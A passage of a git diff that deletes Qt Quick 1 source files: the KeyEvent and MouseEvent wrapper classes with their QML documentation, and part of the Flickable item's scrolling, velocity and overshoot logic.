a/src/qtquick1/graphicsitems/qdeclarativeevents.cpp b/src/qtquick1/graphicsitems/qdeclarativeevents.cpp deleted file mode 100644 index 5217aed092..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeevents.cpp +++ /dev/null @@ -1,243 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativeevents_p_p.h" - -QT_BEGIN_NAMESPACE - - -/*! - \qmlclass KeyEvent QDeclarative1KeyEvent - \inqmlmodule QtQuick 1 - \since QtQuick 1.0 - \ingroup qml-event-elements - - \brief The KeyEvent object provides information about a key event. - - For example, the following changes the Item's state property when the Enter - key is pressed: - \qml -Item { - focus: true - Keys.onPressed: { if (event.key == Qt.Key_Enter) state = 'ShowDetails'; } -} - \endqml -*/ - -/*! - \qmlproperty int QtQuick1::KeyEvent::key - - This property holds the code of the key that was pressed or released. - - See \l {Qt::Key}{Qt.Key} for the list of keyboard codes. These codes are - independent of the underlying window system. Note that this - function does not distinguish between capital and non-capital - letters, use the text() function (returning the Unicode text the - key generated) for this purpose. - - A value of either 0 or \l {Qt::Key_unknown}{Qt.Key_Unknown} means that the event is not - the result of a known key; for example, it may be the result of - a compose sequence, a keyboard macro, or due to key event - compression. -*/ - -/*! - \qmlproperty string QtQuick1::KeyEvent::text - - This property holds the Unicode text that the key generated. - The text returned can be an empty string in cases where modifier keys, - such as Shift, Control, Alt, and Meta, are being pressed or released. - In such cases \c key will contain a valid value -*/ - -/*! - \qmlproperty bool QtQuick1::KeyEvent::isAutoRepeat - - This property holds whether this event comes from an auto-repeating key. -*/ - -/*! - \qmlproperty int QtQuick1::KeyEvent::count - - This property holds the number of keys involved in this event. If \l KeyEvent::text - is not empty, this is simply the length of the string. -*/ - -/*! - \qmlproperty bool QtQuick1::KeyEvent::accepted - - Setting \a accepted to true prevents the key event from being - propagated to the item's parent. - - Generally, if the item acts on the key event then it should be accepted - so that ancestor items do not also respond to the same event. -*/ - -/*! - \qmlproperty int QtQuick1::KeyEvent::modifiers - - This property holds the keyboard modifier flags that existed immediately - before the event occurred. - - It contains a bitwise combination of: - \list - \o Qt.NoModifier - No modifier key is pressed. - \o Qt.ShiftModifier - A Shift key on the keyboard is pressed. - \o Qt.ControlModifier - A Ctrl key on the keyboard is pressed. - \o Qt.AltModifier - An Alt key on the keyboard is pressed. - \o Qt.MetaModifier - A Meta key on the keyboard is pressed. - \o Qt.KeypadModifier - A keypad button is pressed. - \endlist - - For example, to react to a Shift key + Enter key combination: - \qml - Item { - focus: true - Keys.onPressed: { - if ((event.key == Qt.Key_Enter) && (event.modifiers & Qt.ShiftModifier)) - doSomething(); - } - } - \endqml -*/ - - -/*! - \qmlclass MouseEvent QDeclarative1MouseEvent - \inqmlmodule QtQuick 1 - \since QtQuick 1.0 - \ingroup qml-event-elements - - \brief The MouseEvent object provides information about a mouse event. - - The position of the mouse can be found via the \l x and \l y properties. - The button that caused the event is available via the \l button property. - - \sa MouseArea -*/ - -/*! - \internal - \class QDeclarative1MouseEvent -*/ - -/*! - \qmlproperty int QtQuick1::MouseEvent::x - \qmlproperty int QtQuick1::MouseEvent::y - - These properties hold the coordinates of the position supplied by the mouse event. -*/ - - -/*! - \qmlproperty bool QtQuick1::MouseEvent::accepted - - Setting \a accepted to true prevents the mouse event from being - propagated to items below this item. - - Generally, if the item acts on the mouse event then it should be accepted - so that items lower in the stacking order do not also respond to the same event. -*/ - -/*! - \qmlproperty enumeration QtQuick1::MouseEvent::button - - This property holds the button that caused the event. It can be one of: - \list - \o Qt.LeftButton - \o Qt.RightButton - \o Qt.MiddleButton - \endlist -*/ - -/*! - \qmlproperty bool QtQuick1::MouseEvent::wasHeld - - This property is true if the mouse button has been held pressed longer the - threshold (800ms). -*/ - -/*! - \qmlproperty int QtQuick1::MouseEvent::buttons - - This property holds the mouse buttons pressed when the event was generated. - For mouse move events, this is all buttons that are pressed down. For mouse - press and double click events this includes the button that caused the event. - For mouse release events this excludes the button that caused the event. - - It contains a bitwise combination of: - \list - \o Qt.LeftButton - \o Qt.RightButton - \o Qt.MiddleButton - \endlist -*/ - -/*! - \qmlproperty int QtQuick1::MouseEvent::modifiers - - This property holds the keyboard modifier flags that existed immediately - before the event occurred. - - It contains a bitwise combination of: - \list - \o Qt.NoModifier - No modifier key is pressed. - \o Qt.ShiftModifier - A Shift key on the keyboard is pressed. - \o Qt.ControlModifier - A Ctrl key on the keyboard is pressed. - \o Qt.AltModifier - An Alt key on the keyboard is pressed. - \o Qt.MetaModifier - A Meta key on the keyboard is pressed. - \o Qt.KeypadModifier - A keypad button is pressed. - \endlist - - For example, to react to a Shift key + Left mouse button click: - \qml - MouseArea { - onClicked: { - if ((mouse.button == Qt.LeftButton) && (mouse.modifiers & Qt.ShiftModifier)) - doSomething(); - } - } - \endqml -*/ - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/graphicsitems/qdeclarativeevents_p_p.h b/src/qtquick1/graphicsitems/qdeclarativeevents_p_p.h deleted file mode 100644 index 754579b766..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeevents_p_p.h +++ /dev/null @@ -1,141 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEEVENTS_P_H -#define QDECLARATIVEEVENTS_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include - -#include -#include - -QT_BEGIN_NAMESPACE - -class QDeclarative1KeyEvent : public QObject -{ - Q_OBJECT - Q_PROPERTY(int key READ key) - Q_PROPERTY(QString text READ text) - Q_PROPERTY(int modifiers READ modifiers) - Q_PROPERTY(bool isAutoRepeat READ isAutoRepeat) - Q_PROPERTY(int count READ count) - Q_PROPERTY(bool accepted READ isAccepted WRITE setAccepted) - -public: - QDeclarative1KeyEvent(QEvent::Type type, int key, Qt::KeyboardModifiers modifiers, const QString &text=QString(), bool autorep=false, ushort count=1) - : event(type, key, modifiers, text, autorep, count) { event.setAccepted(false); } - QDeclarative1KeyEvent(const QKeyEvent &ke) - : event(ke) { event.setAccepted(false); } - - int key() const { return event.key(); } - QString text() const { return event.text(); } - int modifiers() const { return event.modifiers(); } - bool isAutoRepeat() const { return event.isAutoRepeat(); } - int count() const { return event.count(); } - - bool isAccepted() { return event.isAccepted(); } - void setAccepted(bool accepted) { event.setAccepted(accepted); } - -private: - QKeyEvent event; -}; - -class QDeclarative1MouseEvent : public QObject -{ - Q_OBJECT - Q_PROPERTY(int x READ x) - Q_PROPERTY(int y READ y) - Q_PROPERTY(int button READ button) - Q_PROPERTY(int buttons READ buttons) - Q_PROPERTY(int modifiers READ modifiers) - Q_PROPERTY(bool wasHeld READ wasHeld) - Q_PROPERTY(bool isClick READ isClick) - Q_PROPERTY(bool accepted READ isAccepted WRITE setAccepted) - -public: - QDeclarative1MouseEvent(int x, int y, Qt::MouseButton button, Qt::MouseButtons buttons, Qt::KeyboardModifiers modifiers - , bool isClick=false, bool wasHeld=false) - : _x(x), _y(y), _button(button), _buttons(buttons), _modifiers(modifiers) - , _wasHeld(wasHeld), _isClick(isClick), _accepted(true) {} - - int x() const { return _x; } - int y() const { return _y; } - int button() const { return _button; } - int buttons() const { return _buttons; } - int modifiers() const { return _modifiers; } - bool wasHeld() const { return _wasHeld; } - bool isClick() const { return _isClick; } - - // only for internal usage - void setX(int x) { _x = x; } - void setY(int y) { _y = y; } - - bool isAccepted() { return _accepted; } - void setAccepted(bool accepted) { _accepted = accepted; } - -private: - int _x; - int _y; - Qt::MouseButton _button; - Qt::MouseButtons _buttons; - Qt::KeyboardModifiers _modifiers; - bool _wasHeld; - bool _isClick; - bool _accepted; -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1KeyEvent) -QML_DECLARE_TYPE(QDeclarative1MouseEvent) - -#endif // QDECLARATIVEEVENTS_P_H diff --git a/src/qtquick1/graphicsitems/qdeclarativeflickable.cpp b/src/qtquick1/graphicsitems/qdeclarativeflickable.cpp deleted file mode 100644 index 39efc3b213..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeflickable.cpp +++ /dev/null @@ -1,1812 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativeflickable_p.h" -#include "QtQuick1/private/qdeclarativeflickable_p_p.h" -#include -#include -#include -#include -#include "qplatformdefs.h" - -QT_BEGIN_NAMESPACE - - - -// The maximum number of pixels a flick can overshoot -#ifndef QML_FLICK_OVERSHOOT -#define QML_FLICK_OVERSHOOT 200 -#endif - -// The number of samples to use in calculating the velocity of a flick -#ifndef QML_FLICK_SAMPLEBUFFER -#define QML_FLICK_SAMPLEBUFFER 3 -#endif - -// The number of samples to discard when calculating the flick velocity. -// Touch panels often produce inaccurate results as the finger is lifted. -#ifndef QML_FLICK_DISCARDSAMPLES -#define QML_FLICK_DISCARDSAMPLES 1 -#endif - -// The default maximum velocity of a flick. -#ifndef QML_FLICK_DEFAULTMAXVELOCITY -#define QML_FLICK_DEFAULTMAXVELOCITY 2500 -#endif - -// The default deceleration of a flick. -#ifndef QML_FLICK_DEFAULTDECELERATION -#define QML_FLICK_DEFAULTDECELERATION 1750 -#endif - -// How much faster to decelerate when overshooting -#ifndef QML_FLICK_OVERSHOOTFRICTION -#define QML_FLICK_OVERSHOOTFRICTION 8 -#endif - -// FlickThreshold determines how far the "mouse" must have moved -// before we perform a flick. -static const int FlickThreshold = 20; - -// RetainGrabVelocity is the maxmimum instantaneous velocity that -// will ensure the Flickable retains the grab on consecutive flicks. -static const int RetainGrabVelocity = 15; - -QDeclarative1FlickableVisibleArea::QDeclarative1FlickableVisibleArea(QDeclarative1Flickable *parent) - : QObject(parent), flickable(parent), m_xPosition(0.), m_widthRatio(0.) - , m_yPosition(0.), m_heightRatio(0.) -{ -} - -qreal QDeclarative1FlickableVisibleArea::widthRatio() const -{ - return m_widthRatio; -} - -qreal QDeclarative1FlickableVisibleArea::xPosition() const -{ - return m_xPosition; -} - -qreal QDeclarative1FlickableVisibleArea::heightRatio() const -{ - return m_heightRatio; -} - -qreal QDeclarative1FlickableVisibleArea::yPosition() const -{ - return m_yPosition; -} - -void QDeclarative1FlickableVisibleArea::updateVisible() -{ - QDeclarative1FlickablePrivate *p = static_cast(QGraphicsItemPrivate::get(flickable)); - - bool changeX = false; - bool changeY = false; - bool changeWidth = false; - bool changeHeight = false; - - // Vertical - const qreal viewheight = flickable->height(); - const qreal maxyextent = -flickable->maxYExtent() + flickable->minYExtent(); - qreal pagePos = (-p->vData.move.value() + flickable->minYExtent()) / (maxyextent + viewheight); - qreal pageSize = viewheight / (maxyextent + viewheight); - - if (pageSize != m_heightRatio) { - m_heightRatio = pageSize; - changeHeight = true; - } - if (pagePos != m_yPosition) { - m_yPosition = pagePos; - changeY = true; - } - - // Horizontal - const qreal viewwidth = flickable->width(); - const qreal maxxextent = -flickable->maxXExtent() + flickable->minXExtent(); - pagePos = (-p->hData.move.value() + flickable->minXExtent()) / (maxxextent + viewwidth); - pageSize = viewwidth / (maxxextent + viewwidth); - - if (pageSize != m_widthRatio) { - m_widthRatio = pageSize; - changeWidth = true; - } - if (pagePos != m_xPosition) { - m_xPosition = pagePos; - changeX = true; - } - - if (changeX) - emit xPositionChanged(m_xPosition); - if (changeY) - emit yPositionChanged(m_yPosition); - if (changeWidth) - emit widthRatioChanged(m_widthRatio); - if (changeHeight) - emit heightRatioChanged(m_heightRatio); -} - - -QDeclarative1FlickablePrivate::QDeclarative1FlickablePrivate() - : contentItem(new QDeclarativeItem) - , hData(this, &QDeclarative1FlickablePrivate::setRoundedViewportX) - , vData(this, &QDeclarative1FlickablePrivate::setRoundedViewportY) - , hMoved(false), vMoved(false) - , stealMouse(false), pressed(false), interactive(true), calcVelocity(false) - , deceleration(QML_FLICK_DEFAULTDECELERATION) - , maxVelocity(QML_FLICK_DEFAULTMAXVELOCITY), reportedVelocitySmoothing(100) - , delayedPressEvent(0), delayedPressTarget(0), pressDelay(0), fixupDuration(400) - , fixupMode(Normal), vTime(0), visibleArea(0) - , flickableDirection(QDeclarative1Flickable::AutoFlickDirection) - , boundsBehavior(QDeclarative1Flickable::DragAndOvershootBounds) -{ -} - -void QDeclarative1FlickablePrivate::init() -{ - Q_Q(QDeclarative1Flickable); - QDeclarative_setParent_noEvent(contentItem, q); - contentItem->setParentItem(q); - static int timelineUpdatedIdx = -1; - static int timelineCompletedIdx = -1; - static int flickableTickedIdx = -1; - static int flickableMovementEndingIdx = -1; - if (timelineUpdatedIdx == -1) { - timelineUpdatedIdx = QDeclarative1TimeLine::staticMetaObject.indexOfSignal("updated()"); - timelineCompletedIdx = QDeclarative1TimeLine::staticMetaObject.indexOfSignal("completed()"); - flickableTickedIdx = QDeclarative1Flickable::staticMetaObject.indexOfSlot("ticked()"); - flickableMovementEndingIdx = QDeclarative1Flickable::staticMetaObject.indexOfSlot("movementEnding()"); - } - QMetaObject::connect(&timeline, timelineUpdatedIdx, - q, flickableTickedIdx, Qt::DirectConnection); - QMetaObject::connect(&timeline, timelineCompletedIdx, - q, flickableMovementEndingIdx, Qt::DirectConnection); - q->setAcceptedMouseButtons(Qt::LeftButton); - q->setFiltersChildEvents(true); - QDeclarativeItemPrivate *viewportPrivate = static_cast(QGraphicsItemPrivate::get(contentItem)); - viewportPrivate->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry); - lastPosTime.invalidate(); -} - -/* - Returns the amount to overshoot by given a view size. - Will be up to the lesser of 1/3 of the view size or QML_FLICK_OVERSHOOT -*/ -qreal QDeclarative1FlickablePrivate::overShootDistance(qreal size) -{ - if (maxVelocity <= 0) - return 0.0; - - return qMin(qreal(QML_FLICK_OVERSHOOT), size/3); -} - -void QDeclarative1FlickablePrivate::AxisData::addVelocitySample(qreal v, qreal maxVelocity) -{ - if (v > maxVelocity) - v = maxVelocity; - else if (v < -maxVelocity) - v = -maxVelocity; - velocityBuffer.append(v); - if (velocityBuffer.count() > QML_FLICK_SAMPLEBUFFER) - velocityBuffer.remove(0); -} - -void QDeclarative1FlickablePrivate::AxisData::updateVelocity() -{ - if (velocityBuffer.count() > QML_FLICK_DISCARDSAMPLES) { - velocity = 0; - int count = velocityBuffer.count()-QML_FLICK_DISCARDSAMPLES; - for (int i = 0; i < count; ++i) { - qreal v = velocityBuffer.at(i); - velocity += v; - } - velocity /= count; - } -} - -void QDeclarative1FlickablePrivate::itemGeometryChanged(QDeclarativeItem *item, const QRectF &newGeom, const QRectF &oldGeom) -{ - Q_Q(QDeclarative1Flickable); - if (item == contentItem) { - if (newGeom.x() != oldGeom.x()) - emit q->contentXChanged(); - if (newGeom.y() != oldGeom.y()) - emit q->contentYChanged(); - } -} - -void QDeclarative1FlickablePrivate::flickX(qreal velocity) -{ - Q_Q(QDeclarative1Flickable); - flick(hData, q->minXExtent(), q->maxXExtent(), q->width(), fixupX_callback, velocity); -} - -void QDeclarative1FlickablePrivate::flickY(qreal velocity) -{ - Q_Q(QDeclarative1Flickable); - flick(vData, q->minYExtent(), q->maxYExtent(), q->height(), fixupY_callback, velocity); -} - -void QDeclarative1FlickablePrivate::flick(AxisData &data, qreal minExtent, qreal maxExtent, qreal, - QDeclarative1TimeLineCallback::Callback fixupCallback, qreal velocity) -{ - Q_Q(QDeclarative1Flickable); - qreal maxDistance = -1; - data.fixingUp = false; - // -ve velocity means list is moving up - if (velocity > 0) { - maxDistance = qAbs(minExtent - data.move.value()); - data.flickTarget = minExtent; - } else { - maxDistance = qAbs(maxExtent - data.move.value()); - data.flickTarget = maxExtent; - } - if (maxDistance > 0) { - qreal v = velocity; - if (maxVelocity != -1 && maxVelocity < qAbs(v)) { - if (v < 0) - v = -maxVelocity; - else - v = maxVelocity; - } - timeline.reset(data.move); - if (boundsBehavior == QDeclarative1Flickable::DragAndOvershootBounds) - timeline.accel(data.move, v, deceleration); - else - timeline.accel(data.move, v, deceleration, maxDistance); - timeline.callback(QDeclarative1TimeLineCallback(&data.move, fixupCallback, this)); - if (!hData.flicking && q->xflick()) { - hData.flicking = true; - emit q->flickingChanged(); - emit q->flickingHorizontallyChanged(); - if (!vData.flicking) - emit q->flickStarted(); - } - if (!vData.flicking && q->yflick()) { - vData.flicking = true; - emit q->flickingChanged(); - emit q->flickingVerticallyChanged(); - if (!hData.flicking) - emit q->flickStarted(); - } - } else { - timeline.reset(data.move); - fixup(data, minExtent, maxExtent); - } -} - -void QDeclarative1FlickablePrivate::fixupY_callback(void *data) -{ - ((QDeclarative1FlickablePrivate *)data)->fixupY(); -} - -void QDeclarative1FlickablePrivate::fixupX_callback(void *data) -{ - ((QDeclarative1FlickablePrivate *)data)->fixupX(); -} - -void QDeclarative1FlickablePrivate::fixupX() -{ - Q_Q(QDeclarative1Flickable); - fixup(hData, q->minXExtent(), q->maxXExtent()); -} - -void QDeclarative1FlickablePrivate::fixupY() -{ - Q_Q(QDeclarative1Flickable); - fixup(vData, q->minYExtent(), q->maxYExtent()); -} - -void QDeclarative1FlickablePrivate::fixup(AxisData &data, qreal minExtent, qreal maxExtent) -{ - if (data.move.value() > minExtent || maxExtent > minExtent) { - timeline.reset(data.move); - if (data.move.value() != minExtent) { - switch (fixupMode) { - case Immediate: - timeline.set(data.move, minExtent); - break; - case ExtentChanged: - // The target has changed. Don't start from the beginning; just complete the - // second half of the animation using the new extent. - timeline.move(data.move, minExtent, QEasingCurve(QEasingCurve::OutExpo), 3*fixupDuration/4); - data.fixingUp = true; - break; - default: { - qreal dist = minExtent - data.move; - timeline.move(data.move, minExtent - dist/2, QEasingCurve(QEasingCurve::InQuad), fixupDuration/4); - timeline.move(data.move, minExtent, QEasingCurve(QEasingCurve::OutExpo), 3*fixupDuration/4); - data.fixingUp = true; - } - } - } - } else if (data.move.value() < maxExtent) { - timeline.reset(data.move); - switch (fixupMode) { - case Immediate: - timeline.set(data.move, maxExtent); - break; - case ExtentChanged: - // The target has changed. Don't start from the beginning; just complete the - // second half of the animation using the new extent. - timeline.move(data.move, maxExtent, QEasingCurve(QEasingCurve::OutExpo), 3*fixupDuration/4); - data.fixingUp = true; - break; - default: { - qreal dist = maxExtent - data.move; - timeline.move(data.move, maxExtent - dist/2, QEasingCurve(QEasingCurve::InQuad), fixupDuration/4); - timeline.move(data.move, maxExtent, QEasingCurve(QEasingCurve::OutExpo), 3*fixupDuration/4); - data.fixingUp = true; - } - } - } - data.inOvershoot = false; - fixupMode = Normal; - vTime = timeline.time(); -} - -void QDeclarative1FlickablePrivate::updateBeginningEnd() -{ - Q_Q(QDeclarative1Flickable); - bool atBoundaryChange = false; - - // Vertical - const int maxyextent = int(-q->maxYExtent()); - const qreal ypos = -vData.move.value(); - bool atBeginning = (ypos <= -q->minYExtent()); - bool atEnd = (maxyextent <= ypos); - - if (atBeginning != vData.atBeginning) { - vData.atBeginning = atBeginning; - atBoundaryChange = true; - } - if (atEnd != vData.atEnd) { - vData.atEnd = atEnd; - atBoundaryChange = true; - } - - // Horizontal - const int maxxextent = int(-q->maxXExtent()); - const qreal xpos = -hData.move.value(); - atBeginning = (xpos <= -q->minXExtent()); - atEnd = (maxxextent <= xpos); - - if (atBeginning != hData.atBeginning) { - hData.atBeginning = atBeginning; - atBoundaryChange = true; - } - if (atEnd != hData.atEnd) { - hData.atEnd = atEnd; - atBoundaryChange = true; - } - - if (atBoundaryChange) - emit q->isAtBoundaryChanged(); - - if (visibleArea) - visibleArea->updateVisible(); -} - -/*! - \qmlclass Flickable QDeclarative1Flickable - \inqmlmodule QtQuick 1 - \since QtQuick 1.0 - \ingroup qml-basic-interaction-elements - - \brief The Flickable item provides a surface that can be "flicked". - \inherits Item - - The Flickable item places its children on a surface that can be dragged - and flicked, causing the view onto the child items to scroll. This - behavior forms the basis of Items that are designed to show large numbers - of child items, such as \l ListView and \l GridView. - - In traditional user interfaces, views can be scrolled using standard - controls, such as scroll bars and arrow buttons. In some situations, it - is also possible to drag the view directly by pressing and holding a - mouse button while moving the cursor. In touch-based user interfaces, - this dragging action is often complemented with a flicking action, where - scrolling continues after the user has stopped touching the view. - - Flickable does not automatically clip its contents. If it is not used as - a full-screen item, you should consider setting the \l{Item::}{clip} property - to true. - - \section1 Example Usage - - \div {class="float-right"} - \inlineimage flickable.gif - \enddiv - - The following example shows a small view onto a large image in which the - user can drag or flick the image in order to view different parts of it. - - \snippet doc/src/snippets/qtquick1/flickable.qml document - - \clearfloat - - Items declared as children of a Flickable are automatically parented to the - Flickable's \l contentItem. This should be taken into account when - operating on the children of the Flickable; it is usually the children of - \c contentItem that are relevant. For example, the bound of Items added - to the Flickable will be available by \c contentItem.childrenRect - - \section1 Limitations - - \note Due to an implementation detail, items placed inside a Flickable cannot anchor to it by - \c id. Use \c parent instead. -*/ - -/*! - \qmlsignal QtQuick1::Flickable::onMovementStarted() - - This handler is called when the view begins moving due to user - interaction. -*/ - -/*! - \qmlsignal QtQuick1::Flickable::onMovementEnded() - - This handler is called when the view stops moving due to user - interaction. If a flick was generated, this handler will - be triggered once the flick stops. If a flick was not - generated, the handler will be triggered when the - user stops dragging - i.e. a mouse or touch release. -*/ - -/*! - \qmlsignal QtQuick1::Flickable::onFlickStarted() - - This handler is called when the view is flicked. A flick - starts from the point that the mouse or touch is released, - while still in motion. -*/ - -/*! - \qmlsignal QtQuick1::Flickable::onFlickEnded() - - This handler is called when the view stops moving due to a flick. -*/ - -/*! - \qmlproperty real QtQuick1::Flickable::visibleArea.xPosition - \qmlproperty real QtQuick1::Flickable::visibleArea.widthRatio - \qmlproperty real QtQuick1::Flickable::visibleArea.yPosition - \qmlproperty real QtQuick1::Flickable::visibleArea.heightRatio - - These properties describe the position and size of the currently viewed area. - The size is defined as the percentage of the full view currently visible, - scaled to 0.0 - 1.0. The page position is usually in the range 0.0 (beginning) to - 1.0 minus size ratio (end), i.e. \c yPosition is in the range 0.0 to 1.0-\c heightRatio. - However, it is possible for the contents to be dragged outside of the normal - range, resulting in the page positions also being outside the normal range. - - These properties are typically used to draw a scrollbar. For example: - - \snippet doc/src/snippets/qtquick1/flickableScrollbar.qml 0 - \dots 8 - \snippet doc/src/snippets/qtquick1/flickableScrollbar.qml 1 - - \sa {declarative/ui-components/scrollbar}{scrollbar example} -*/ - -QDeclarative1Flickable::QDeclarative1Flickable(QDeclarativeItem *parent) - : QDeclarativeItem(*(new QDeclarative1FlickablePrivate), parent) -{ - Q_D(QDeclarative1Flickable); - d->init(); -} - -QDeclarative1Flickable::QDeclarative1Flickable(QDeclarative1FlickablePrivate &dd, QDeclarativeItem *parent) - : QDeclarativeItem(dd, parent) -{ - Q_D(QDeclarative1Flickable); - d->init(); -} - -QDeclarative1Flickable::~QDeclarative1Flickable() -{ -} - -/*! - \qmlproperty real QtQuick1::Flickable::contentX - \qmlproperty real QtQuick1::Flickable::contentY - - These properties hold the surface coordinate currently at the top-left - corner of the Flickable. For example, if you flick an image up 100 pixels, - \c contentY will be 100. -*/ -qreal QDeclarative1Flickable::contentX() const -{ - Q_D(const QDeclarative1Flickable); - return -d->contentItem->x(); -} - -void QDeclarative1Flickable::setContentX(qreal pos) -{ - Q_D(QDeclarative1Flickable); - d->timeline.reset(d->hData.move); - d->vTime = d->timeline.time(); - movementXEnding(); - if (-pos != d->hData.move.value()) { - d->hData.move.setValue(-pos); - viewportMoved(); - } -} - -qreal QDeclarative1Flickable::contentY() const -{ - Q_D(const QDeclarative1Flickable); - return -d->contentItem->y(); -} - -void QDeclarative1Flickable::setContentY(qreal pos) -{ - Q_D(QDeclarative1Flickable); - d->timeline.reset(d->vData.move); - d->vTime = d->timeline.time(); - movementYEnding(); - if (-pos != d->vData.move.value()) { - d->vData.move.setValue(-pos); - viewportMoved(); - } -} - -/*! - \qmlproperty bool QtQuick1::Flickable::interactive - - This property describes whether the user can interact with the Flickable. - A user cannot drag or flick a Flickable that is not interactive. - - By default, this property is true. - - This property is useful for temporarily disabling flicking. This allows - special interaction with Flickable's children; for example, you might want - to freeze a flickable map while scrolling through a pop-up dialog that - is a child of the Flickable. -*/ -bool QDeclarative1Flickable::isInteractive() const -{ - Q_D(const QDeclarative1Flickable); - return d->interactive; -} - -void QDeclarative1Flickable::setInteractive(bool interactive) -{ - Q_D(QDeclarative1Flickable); - if (interactive != d->interactive) { - d->interactive = interactive; - if (!interactive && (d->hData.flicking || d->vData.flicking)) { - d->timeline.clear(); - d->vTime = d->timeline.time(); - d->hData.flicking = false; - d->vData.flicking = false; - emit flickingChanged(); - emit flickingHorizontallyChanged(); - emit flickingVerticallyChanged(); - emit flickEnded(); - } - emit interactiveChanged(); - } -} - -/*! - \qmlproperty real QtQuick1::Flickable::horizontalVelocity - \qmlproperty real QtQuick1::Flickable::verticalVelocity - - The instantaneous velocity of movement along the x and y axes, in pixels/sec. - - The reported velocity is smoothed to avoid erratic output. -*/ -qreal QDeclarative1Flickable::horizontalVelocity() const -{ - Q_D(const QDeclarative1Flickable); - return d->hData.smoothVelocity.value(); -} - -qreal QDeclarative1Flickable::verticalVelocity() const -{ - Q_D(const QDeclarative1Flickable); - return d->vData.smoothVelocity.value(); -} - -/*! - \qmlproperty bool QtQuick1::Flickable::atXBeginning - \qmlproperty bool QtQuick1::Flickable::atXEnd - \qmlproperty bool QtQuick1::Flickable::atYBeginning - \qmlproperty bool QtQuick1::Flickable::atYEnd - - These properties are true if the flickable view is positioned at the beginning, - or end respecively. -*/ -bool QDeclarative1Flickable::isAtXEnd() const -{ - Q_D(const QDeclarative1Flickable); - return d->hData.atEnd; -} - -bool QDeclarative1Flickable::isAtXBeginning() const -{ - Q_D(const QDeclarative1Flickable); - return d->hData.atBeginning; -} - -bool QDeclarative1Flickable::isAtYEnd() const -{ - Q_D(const QDeclarative1Flickable); - return d->vData.atEnd; -} - -bool QDeclarative1Flickable::isAtYBeginning() const -{ - Q_D(const QDeclarative1Flickable); - return d->vData.atBeginning; -} - -void QDeclarative1Flickable::ticked() -{ - viewportMoved(); -} - -/*! - \qmlproperty Item QtQuick1::Flickable::contentItem - - The internal item that contains the Items to be moved in the Flickable. - - Items declared as children of a Flickable are automatically parented to the Flickable's contentItem. - - Items created dynamically need to be explicitly parented to the \e contentItem: - \code - Flickable { - id: myFlickable - function addItem(file) { - var component = Qt.createComponent(file) - 